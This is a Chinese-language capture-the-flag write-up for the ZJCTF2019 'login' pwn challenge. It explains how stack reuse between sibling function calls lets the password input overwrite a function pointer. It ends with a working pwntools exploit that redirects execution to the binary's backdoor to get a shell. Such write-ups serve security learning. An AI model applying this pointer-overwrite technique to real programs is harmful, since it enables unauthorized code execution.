pwn題ZJCTF2019 login的分析
題目復現
文件一開始需要登錄,需要用戶名和密碼。

先checksec,存在canary。

主函數如下,一眼可以得到密碼,下面會慢慢分析。

首先是16行的Admin的構造函數,調用了User的構造函數。

User構建的結構體,包含0x401170處的get_password函數的指針,傳入的用戶名與密碼,它們的上限大小都是0x50。
Admin結構體與User的區別在于指針改為了0x401150,但還是get_password指針。
感覺這個Admin結構體意義不明,但數據結構的構思和我們關系不大就是了
后續可能存在函數指針的利用。


接著看主函數25行的User::read_name,讀取輸入的0x49個字符,然后賦值給bss段的login+1處,login是一個全局User結構體,實現了名字讀入。


接著到了本題的重點,指針v3(實際只被寄存器暫存)存儲函數指針main::{lambda(void)#1}::operator,然后經過password_checker得到二級指針v7。


查看password_checker,3*8的數組v2中,在v2處存儲了a1(主函數的v3)指針。

看匯編語言更為直觀,rax存儲了[rbp-0x18]處的地址。

接著是read_password函數,與read_name函數基本一致。

get_password函數很簡單。

在看最后的password_checker()前,我們用正確密碼測試文件,顯示段錯誤。

查看password_checker,login與admin的密碼比較后,來了個奇葩的有毒打印,接著前面的二級函數終于被調用了。

我們需要知道報錯原因,gdb調試發現正好是二級指針調用出錯。



此外題目中有現成后門。

因此這題的漏洞基本算是送到臉上了,但對匯編不了解的我硬是做了兩天。
利用思路
經過上面的初步分析,我們知道程序在password_checker中調用一個二級指針失敗而段錯誤終止,考慮到canary的存在,srop不可能短期實現。即使我們無法利用這個二級指針getshell,它的存在也會讓程序終止。由于存在后門函數,只要能改變這個二級指針,這題就getshell了。
調試過程
在網上多位師傅博客的參考下,我學會了用匯編溯源的技巧。c語言代碼雖然易懂,但最硬核與直接的還是匯編。
調試前我們要明白一個概念:對于一個函數內調用的函數,他們的棧是平行的:由于push rbp; mov rbp, rsp;sub rsp, x子函數的ebp相同,esp根據位移不同而不同。
因此,子函數的棧空間會存在反復利用的情況;如果父函數中出現了子函數棧空間的指針變量,下一次調用子函數時,這個指針變量指向的值就有可能改變!
回到調試,我們觀察main函數的匯編,指針存于[rbp-0x130],它來自于password_checker的rax。

此處與我們初步調試的結果相同,rax的來源是[rbp-0x18]的地址(我原來不明白lea的意思……想了很久)。在最終二級指針調用時,會獲得rbp-0x18的值,再獲得[rbp-0x18]內的地址。我們可以覆蓋后面子函數中[rbp-0x18]的值。

payload
from pwn import *context.log_level = 'debug' io = process('./login')#io = remote('node4.buuoj.cn',25895)#pause()#gdb.attach(io, 'b *0x400b42') io.sendlineafter('username: ', 'admin')payload = b'2jctf_pa5sw0rd\x00'.ljust(0x48, b'\x61') + p64(0x400e88)io.sendafter('password', payload)io.interactive()